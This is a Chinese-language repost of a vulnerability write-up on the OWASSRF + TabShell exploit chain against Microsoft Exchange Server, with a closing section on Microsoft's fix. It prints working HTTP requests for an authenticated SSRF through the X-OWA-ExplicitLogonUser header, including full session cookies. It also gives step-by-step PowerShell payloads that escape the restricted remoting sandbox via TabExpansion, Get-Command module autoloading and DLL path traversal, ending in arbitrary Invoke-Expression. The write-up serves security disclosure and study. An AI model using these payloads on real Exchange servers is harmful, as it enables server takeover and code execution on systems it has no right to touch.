/  

OWASSRF + TabShell 利用

第 1 部分:OWASSRF

在一年多以前参加 Pwn2own 活动时就知道了这两个 SSRF 错误(Autodiscover 和 Owa)。但是Autodiscover SSRF当时还没有修复,所以我没有报告OWA SSRF(util ProxyNotShell最近在野外被利用)。我认为微软没有修复 SSRF 错误的根本原因只是因为仅靠 SSRF 无法产生真正的影响。

OWASSRF 的 POC 很简单,如下请求:

GET /owa/test%40gmail.com/xxxxxxxx HTTP/1.1
Host: 192.168.137.211
User-Agent: python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
X-OWA-ExplicitLogonUser: owa/test@gmail.com
Cookie: <CHANGE HERE>

当我们向前端端点发送请求时 /owaOwaProxyRequestHandler.GetTargetBackEndServerUrl调用 来计算要发送到后端的请求的 url 。
然后调用 OwaEcpProxyRequestHandler.GetClientUrlForProxy,该函数的代码如下:

protected override UriBuilder GetClientUrlForProxy()
{
    UriBuilder uriBuilder = new UriBuilder(base.ClientRequest.Url.OriginalString);
    if (this.IsExplicitSignOn && !UrlUtilities.IsOwaDownloadRequest(base.ClientRequest.Url))
    {
        uriBuilder.Path = UrlHelper.RemoveExplicitLogonFromUrlAbsolutePath(HttpUtility.UrlDecode(base.ClientRequest.Url.AbsolutePath), HttpUtility.UrlDecode(this.ExplicitSignOnAddress));
    }
    return uriBuilder;
}

public static string RemoveExplicitLogonFromUrlAbsolutePath(string absolutePath, string explicitLogonAddress)
{
    ArgumentValidator.ThrowIfNull("absolutePath", absolutePath);
    ArgumentValidator.ThrowIfNull("explicitLogonAddress", explicitLogonAddress);
    return absolutePath.Replace("/" + explicitLogonAddress, string.Empty);
}

可以看出,它调用从请求路径 UrlHelper.RemoveExplicitLogonFromUrlAbsolutePath中删除。 漏洞是我们可以通过在header中发送来设置。 因此,通过将其设置为以(例如:)开头的电子邮件并请求 url:,将帮助我们删除url 并将请求发送到后端服务器上,这为我们提供了经过身份验证的 SSRF 漏洞。this.ExplicitSignOnAddress
this.ExplicitSignOnAddress``X-OWA-ExplicitLogonUser
owa/``owa/test@gmail.com``/owa/test%40gmail.com/mapi/nspi``OwaEcpProxyRequestHandler. GetClientUrlForProxy``owa/test%40gmail.com``/mapi/nspi

利用该漏洞向 /mapi/nspi 发送请求的示例请求如下:

GET /owa/test%40gmail.com/mapi/nspi HTTP/1.1
Host: 192.168.137.211
User-Agent: python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
X-OWA-ExplicitLogonUser: owa/test@gmail.com
Cookie: X-BackEndCookie=S-1-5-21-2656093215-258796493-3715049920-2601=u56Lnp2ejJqByMvJx56ZzMfSysnNm9LLz56c0seZzc/Sy83NyMfLnJ6dzM7MgYHNz83N0s7O0s7Nq87Oxc7PxczO; ClientId=C4179E2222DB4C648C0530180ADCE3A0; UC=cc8eb85baefa4004adb4cd6d50c355bc; X-OWA-CANARY=18H5f0RJdkCnKMAISZanZsBJI4sLrdoI1D0hGp4YBYyT0SL9SYLOebRwnbI1mp6PFStIHY5u6cE.; cadata=v6LoKl833IfszAjlUg3mgrWwYrQQ/vlWtLwGA5OyLe5LEtpdQvRz9f21cv1W61dKDMpdaB5y5NShqEIkyz64ncsYlo+Mt48GPt6nr0lR3Cs=; cadataIV=B5rzxVbcOv5fmn2QArN/0f39crVSwpfgJ6VFy8ozXvjc190bG2gRaOsxamCiz1zResFRhaCud0ompb17UQI8O9INGSgwdFVdO3gbrKN3wZt0/XoLw1ef6N0ji5M9/iSxenrmdHyE/L1i+I04hyXXkq6lrP3OIzzy4WgGFMDEza4+cpQSjkvArLwnJ7tF9EuNrIR96sg5I60nbGjruS7bxkHz6bezHLhiPotgn8MKA0eBfNeBryCmxJLt+xcdFF6YnHnTA1meovv9vDeEDhImwolOGZQ7kqYrxQzSoJr1A+6gFpExChdQpAmxQivlBuKEBDKT+utHdXT907pxpBZMuw==; cadataKey=fLQs1PepeFD7WADMiie4T8594qyKT76zPED/yrfLDafZqCtwSR86OCP0M3d7oywrQLOegrQqVkufd4BmBOf1iAwBOib2FuB2mukPwIKFtUb6bqYbRYTbN2c+bfLsYt2EdQCulz17y8mjRBzrSju4FvuNVAjMNNiRYnn1dEGTYkl2enZfjf3kp2M6EIqux33qPs93LZmsYnNx9Tu4uh6KXh35hp39e81Zu46fMD6ZwLQ/BDAtZkZTQ5DlZ42sur75CMN1ReMAMpzNFDoxaCKPD7XXKxF7CzqwWI0V8GE3pN9YKJRPXmWgP0Jp3K1z0KwhBJEcrLbftAlTgGJb4/9jXQ==; cadataSig=FyQoA9mAw0xeEdo8JlWBHnNLVo+nB4OY1YFrGQc+wy8=; cadataTTL=YqBmg7U9pNe8h8FjnG55YA==

为了更具体地说明 SSRF,发送到后端的请求使用我们用于对前端进行身份验证的帐户进行身份验证,在我的例子中是 victim. 可以通过观察服务器响应中的User字段来确认:

<html>
<head>
<title>Exchange MAPI/HTTP Connectivity Endpoint</title>
</head>
<body>
<p>Exchange MAPI/HTTP Connectivity Endpoint<br><br>Version: 15.2.1118.15<br>
Vdir Path: /mapi/nspi/<br><br></p><p><b>User:</b> MYCORP\victim<br>
<b>UPN:</b> <br><b>SID:</b> S-1-5-21-2656093215-258796493-3715049920-2601<br><b>Organization:</b> <br>
<b>Authentication:</b> Basic<br>
<b>PUID:</b> <br>
<b>TenantGuid::</b> </p><br>
<p><b>Cafe:</b> win-9i2q3pvpkvp.mycorp.lab<br>
<b>Mailbox:</b> win-9i2q3pvpkvp.mycorp.lab</p><p><br><br><br>
<b>Created:</b> 10/13/2022 12:42:55 PM</p>
</body></html>

通过利用此漏洞,我们可以到达后端的其他端点,例如,/powershell这使我们能够与通常无法从远程主机访问的 Exchange Remote Powershell 进行交互。

第 2 部分:TabShell

Exchange Server 和 Exchange Online 具有 powershell 远程处理功能,允许普通用户使用沙箱进行远程处理会话(普通用户只能运行一些交换 cmdlet)。这个 TabShell 错误将展示一种巧妙的方法来逃避沙箱以运行任意 cmdlet。
Skype for Business 服务器也有 powershell 远程处理功能,但攻击者至少在 HelpDesk 组用户中。

这个bug其实包括几个阶段(以下详细分析适用于本地版Exchange Server)。

阶段1。为普通交换用户创建一个受限的 powershell 会话

这是创建会话的 powershell 片段

$secureString = ConvertTo-SecureString -String "xxxxxxxx" -AsPlainText -Force
$UserCredential = New-Object System.Management.Automation.PSCredential -ArgumentList "mycorp\victim", $secureString
$sessionOption = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri https://x.x.x.x/powershell/ -Credential $UserCredential -Authentication Basic -AllowRedirection -SessionOption $sessionOption

在会话中运行命令:

Invoke-Command -Session $Session -ScriptBlock {get-mailbox}

此会话非常受限:

  • 我们不能运行像 Invoke-Expression 这样的任意命令,只能运行一些白名单 Exchange cmdlets + 一些核心 cmdlets,如 Get-Command,Get-Help。
  • 由于 LanguageMode=NoLanguage,我们无法运行完整的 powershell 脚本,只能运行带有参数的简单 cmdlet。
  • 我们可以通过运行 Get-Command 获取可用的公共 cmdlet 列表

这个受限的 powershell 会话是由运行空间功能创建的 -参考

第二阶段。在运行空间中启用 TabExpansion

起初,我确实审核了所有核心 cmdlet 以发现漏洞。经过一周的研究,我几乎成功使用 Get-Help 命令,但最终失败了。

接下来,我尝试扩大攻击面,然后我发现了一个秘密功能:TabExpansion。

在创建 powershell 会话时,我们可以通过 ApplicationArguments

应用参数

如果我们传递 WSManStackVersion < 3.0,我们可以在 initialSessionState 中启用公共 TabExpansion 函数,这样我们就可以在受限的 powershell 会话中调用它

Enable_TabExpansion

类:System.Management.Automation.Remoting.ServerRemoteSession 方法:HandleCreateRunspacePool

这是使用 public TabExpansion 创建会话的 powershell 片段

$secureString = ConvertTo-SecureString -String "xxxxxx" -AsPlainText -Force
$UserCredential = New-Object System.Management.Automation.PSCredential -ArgumentList "mycorp\victim", $secureString
$version = New-Object -TypeName System.Version -ArgumentList "2.0"
$mytable = $PSversionTable
$mytable["WSManStackVersion"] = $version
$sessionOption = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck -ApplicationArguments @{PSversionTable=$mytable}
$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri https://x.x.x.x/powershell/ -Credential $UserCredential -Authentication Basic -AllowRedirection -SessionOption $sessionOption

在会话中运行命令:

Invoke-Command -Session $Session -ScriptBlock {TabExpansion -line "test" -lastWord "test"}

这是 TabExpansion 的漂亮代码:

所以,在这个阶段,我们有公共 TabExpansion功能。我开始审核此功能以查找命令注入错误。我看到了几个 Invoke-Expression电话,但我不能把它变成一个真正的漏洞。

第三阶段。使用 TabExpansion 函数调用带有任意 -Name 参数的 Get-Command cmdlet

我无法直接利用 TabExpansion 函数。但是我可以使 TabExpansion 函数调用带有任意 -Name 参数的 Get-Command。但是为什么我们直接调用 Get-Command 呢?这是一个公共 cmdlet。好处是内部调用比直接调用更强大。

这是poc片段:

TabExpansion -line ";NetTCPIP\Test-NetConnection" -lastWord "-test"

此函数将解析行参数并调用
Get-Command NetTCPIP\Test-NetConnection

执行_获取_命令

第四阶段。使用 Get-Command 通过 Import-Module 加载任意模块

Get-Command cmdlet 具有 Powershell 3.0 的自动加载模块功能

Get_Command_AutoLoad_Module

这个功能的完整实现比较复杂,我只展示相关代码:
源代码在System.Management.Automation.CommandDiscovery类和LookupCommandInfo方法中

the TryNormalSearch method is used first but if the commandInfo is not found (null), the TryModuleAutoLoading method will be called.

Get_Command_AutoLoad_Module_SourceCode

在TryModuleAutoLoading方法中,会从commandName中解析出modulename(text2变量)

TryModuleAutoLoading

然后模块将使用 AutoloadSpecifiedModule 方法加载
自动加载指定模块

AutoLoadSpecifiedModule_Method

这里有趣的是 Import-Module cmdlet 的可见性是私有的,但它在 Get-Command cmdlet 中被内部调用,因此 CommandOrigin 是内部的并且在沙箱中不受限制。

所以为了加载 NetTCPIP 模块,我将运行以下函数

Invoke-Command -Session $Session -ScriptBlock { TabExpansion -line ";NetTCPIP\Test-NetConnection" -lastWord "-test" }

This will lead to invoke cmdlet: Import-Module -Name NetTCPIP

阶段五. 使用路径遍历从 dll 加载模块并将公共 cmdlet 导入当前会话

在stage4中,我们可以通过PSModulePath中的模块名加载任意模块(C:\Program Files\WindowsPowerShell\Modules, C:\Windows\system32\WindowsPowerShell\v1.0\Modules)

但是在深入研究 Import-Module cmdlet 之后,我发现我可以使用路径遍历从文件系统中的任意 dll 加载模块

The payload is

Invoke-Command -Session $Session -ScriptBlock { 
    TabExpansion -line ";../../../../Windows/Microsoft.NET/assembly/GAC_MSIL/Microsoft.PowerShell.Commands.Utility/v4.0_3.0.0.0__31bf3856ad364e35/Microsoft.PowerShell.Commands.Utility.dll\Invoke-Expression" -lastWord "-test" 
}

The call stack is
ImportModuleCommand

Import-Module cmdlet 相当复杂,它支持多种模块加载(模块清单文件 .psd1 、powershell 脚本文件 .ps1、带有 cmdlet 的托管 dll .dll)

通过使用以 .dll 结尾的模块名称,我可以使 Import-Module cmdlet 转到 LoadBinaryModule 方法。它将加载 dll 并将该模块中的所有 cmdlet 导入当前会话。

神奇的问题是所有 cmdlet 都将以公开可见的方式导入。所以他们可以在那之后被调用。
在上面的有效负载中,我确实加载了包含 Invoke-Expression cmdlet 的模块 Microsoft.PowerShell.Commands.Utility.dll。

这是调用导入的 Invoke-Expression cmdlet 的命令

Invoke-Command $session {Microsoft.PowerShell.Commands.Utility\Invoke-Expression "[System.Security.Principal.WindowsIdentity]::GetCurrent().Name" }

修复

abExpansion 通过以下提交链接删除,该链接终止了链的第一阶段。

但其他问题似乎仍然存在,可能会以另一种方式被滥用。对此我不确定。

对于 .Net Framework,修复方法略有不同:

TabExpansionProtectionDisabled

isTabExpansionProtectionDisabled

这种修复可以让攻击者在服务器中放置一个带有注册表项的后门,以启用 TabShell 漏洞利用。

来源

  • rskvp93 (@rskvp93) from VcsLab of Viettel Cyber Security
  • Q5Ca (@_q5ca) from VcsLab of Viettel Cyber Security
  • nxhoang99 (@nxhoang99) from VcsLab of Viettel Cyber Security

from:The OWASSRF + TabShell exploit chain


标题:OWASSRF + TabShell 利用
作者:qbs
地址:https://www.xiaohongyan.cn/articles/2023/04/03/1680488018885.html
声明:博客上的所内容均可免费使用,可注明归属,注明作者或网址这种行为值得赞赏。